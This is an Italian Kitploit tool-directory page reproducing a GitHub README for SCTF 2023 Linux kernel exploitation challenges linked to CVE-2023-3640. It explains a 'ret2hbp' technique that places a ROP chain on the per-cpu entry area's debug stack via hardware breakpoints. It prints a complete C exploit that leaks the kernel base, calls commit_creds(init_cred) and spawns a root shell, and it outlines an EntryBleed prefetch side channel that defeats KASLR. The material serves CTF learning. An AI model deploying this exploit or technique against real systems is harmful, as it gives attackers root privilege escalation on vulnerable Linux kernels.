Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-3640 — SCTF 2023 kernel pwn && CVE-2023-3640 | Kitploit
Strumenti/GitHubGitHub/pray77/cve-2023-3640
Analisi delle VulnerabilitàExploitCTFApprendimento e FormazioneBinary Exploitation
GitHubpray77/cve-2023-3640

CVE-2023-3640

SCTF 2023 kernel pwn && CVE-2023-3640

Vedi Repository
2913 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

SCTF2023_kernelpwn

SCTF 2023 kernel pwn

Nota a margine: pubblicità — sono uno studente universitario che si laurea nel 2024 e parteciperò al recruiting autunnale di quest'anno, contattatemi pure~

sycrop

Questo esercizio vuole testare due punti.

  1. Nel punto iniziale della regione di mapping di cpu entry area ci sono diversi indirizzi con offset fissi rispetto al segmento text del kernel; fai riferimento all'immagine sotto. Questo è solo un piccolo trick, apparso per la prima volta nella KCTF di Google e successivamente in alcune competizioni internazionali.

image

3Z(ZSS7$2V)YRPGD 7%KY

  1. Impostando un hardware breakpoint in modalità utente, è possibile spingere il contenuto dei registri sullo stack DB a un offset fisso rispetto a per cpu entry area. Prima di Linux 6.2, per cpu entry area non era randomizzata e l'indirizzo era fisso, quindi è possibile costruire una ROP chain a un indirizzo fisso nel kernel. Questo è il punto innovativo di questa challenge; l'ho chiamato provvisoriamente: ret2hbp. Il nome serve solo a rendere più facile descrivere questa tecnica d'attacco; non rivendico alcuna originalità. In realtà, il percorso di sviluppo dell'exploitation del kernel è già di per sé abbastanza affascinante; raccogliere una conchiglia sulla spiaggia è già di per sé una gioia : )

Per gli indirizzi e gli offset specifici, fai riferimento all'exp; spero comunque che riusciate a fare un po' di debug da soli.

root@kitploit:~
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>

void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void teardown()
{
    kill(hbp_pid,9);
}

void create_hbp(void* addr)
{

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
        printf("Could not create hbp! ptrace dr0: %m\n");
        teardown();
        exit(1);
    }

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
        printf("Could not create hbp! ptrace dr7: %m\n");
        teardown();
        exit(1);
    }
}

void hbp_raw_fire()
{
    if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
        {
            printf("Failed to PTRACE_CONT: %m\n");
            teardown();
            exit(1);
        }
}
void getRootShell(void)
{   
    if(getuid()) {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. "
         "Execve root shell now...\033[0m");
    system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
    cpu_set_t mask;
    map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
    switch(hbp_pid = fork())
    {
        case 0: //child
            //pin cpu

            CPU_ZERO(&mask);
            CPU_SET(cpu,&mask);
            sched_setaffinity(0,sizeof(mask),&mask);
            ptrace(PTRACE_TRACEME,0,NULL,NULL);
            raise(SIGSTOP);
            __asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );
            exit(1);
        case -1:
            printf("fork: %m\n");
            exit(1);
        default: //parent. Just exit switch
            break;
    }
    int status;
    //Watch for stop:
    puts("Waiting for child");
    while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
    {
        sched_yield();
    }
    puts("Setting breakpoint");
    create_hbp(map);
}

int main()
{
    saveStatus();
    int fd = open("/dev/seven", O_RDWR);
    if(fd < 0) perror("Error open");
    unsigned long addr =  ioctl(fd,0x5555,0xfffffe0000000000+4);
    printf("0x%llx\n",addr-0x1008e00);
    kernel_base = addr-0x1008e00;
    init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
    commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
    pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
    init(1);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    ioctl(fd,0x6666,0xfffffe0000010f60);
}

sycrpg

In realtà, questa è solo una challenge di sfruttamento di una vulnerabilità 1-day; l'idea di base è l'articolo del pj0 di Google. Il mio lavoro è stato solo trasformarlo in una challenge CTF, per permettere a tutti di imparare questa tecnica che personalmente ritengo potente e interessante, e capire il fascino di riuscire a ottenere una shell scrivendo un solo byte in un solo indirizzo. https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1

moonpray

Questa è una challenge che coinvolge una 0day di information leak del kernel; tuttavia esiste una soluzione non prevista (entrambi i team che l'hanno risolta hanno usato una soluzione non prevista).

La challenge è una versione potenziata di sycrop a cui è stato tolto il leak, perché la versione del kernel usata è la 6.2, in cui per cpu entry area è stata aggiunta la randomizzazione.

  1. Prima di tutto occorre ottenere il leak; il punto qui è una vulnerabilità della CPU. Notate che nello script di avvio sono presenti -enable-kvm e -cpu host: viene usata la CPU della macchina fisica. In effetti, nella maggior parte dei casi le CPU Intel sono affette da questa vulnerabilità. Fate riferimento all'articolo 1day Entrybleed (https://www.willsroot.io/2022/12/entrybleed.html#comment-form); con lo script di cui sopra è possibile ottenere il kaslr.
  2. Per la parte ROP, seguendo l'idea di sycrop, si dovrebbe migrare la stack sullo stack DB, ma a questo punto per cpu entry area è stata randomizzata, quindi anche lo stack DB (che si trova all'offset per cpu entry area + 0xf000) è randomizzato. Tuttavia, in realtà, con KPTI attivo, non viene mappato in spazio utente solo il punto di ingresso delle syscall (entry_SYSCALL_64 di EntryBleed), ma viene mappata anche per cpu entry area; quindi è possibile ottenere l'offset misurando la differenza di tempo con l'istruzione prefetch. Lo script specifico dovrà attendere che il vendor acconsenta alla divulgazione (ma in realtà quanto sopra è già chiaro, sono sicuro che riuscirete a costruirlo da soli).
  3. Riguardo alla soluzione non prevista, nella parte ROP si può usare ret2dir; è stata una mia svista. Quando ho creato la challenge avevo pensato se ret2dir potesse funzionare, ma per motivi di tempo, dopo aver completato la parte principale del problema, me ne sono dimenticato. Comunque va bene, almeno questa challenge ha una soluzione.
Scarica lo strumento